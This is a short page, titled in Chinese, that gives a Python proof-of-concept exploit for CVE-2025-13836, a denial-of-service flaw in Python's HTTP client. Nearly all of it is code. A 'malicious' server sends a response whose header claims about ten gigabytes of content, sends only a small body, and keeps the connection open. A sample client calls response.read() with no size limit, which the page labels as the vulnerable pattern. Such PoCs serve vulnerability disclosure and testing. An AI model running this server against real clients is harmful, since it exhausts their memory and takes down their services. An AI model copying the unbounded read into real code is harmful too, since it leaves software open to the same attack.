CVE-2025-13836: Python HTTP客户端Content-Length导致的拒绝服务漏洞

""" CVE-2025-13836 PoC - Malicious HTTP Server This script simulates a malicious server that exploits the Content-Length vulnerability in Python's HTTP client to cause memory exhaustion on the client side. """ import socket import threading import time def handle_client(client_socket): """Handle incoming client connection with malicious Content-Length""" try: # Read HTTP request (we don't really need to process it) request = client_socket.recv(4096) # Send malicious HTTP response with huge Content-Length # The actual body is minimal, but Content-Length claims huge size malicious_response = ( "HTTP/1.1 200 OK\r\n" "Content-Type: text/plain\r\n" "Content-Length: 9999999999\r\n" # Huge fake size "\r\n" "Small payload - rest is never sent\n" ) client_socket.send(malicious_response.encode()) time.sleep(30) # Keep connection alive except Exception as e: print(f"Error: {e}") finally: client_socket.close() def start_malicious_server(port=8888): """Start the malicious HTTP server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"Malicious server listening on port {port}") while True: client, addr = server.accept() print(f"Connection from: {addr}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() # Client-side exploit demonstration def exploit_client(target_host, target_port=8888): """ Vulnerable client code - DO NOT USE IN PRODUCTION This demonstrates how Python HTTP client can be exploited """ import http.client connection = http.client.HTTPConnection(target_host, target_port) connection.request("GET", "/") response = connection.getresponse() # This is the vulnerable part - read() without size limit # Will attempt to allocate massive buffer based on Content-Length try: data = response.read() # Vulnerable: no size limit print(f"Read {len(data)} bytes") except MemoryError: print("Memory exhaustion triggered!") if __name__ == "__main__": print("=== CVE-2025-13836 PoC ===") print("Start server: python cve-2025-13836_poc.py") start_malicious_server()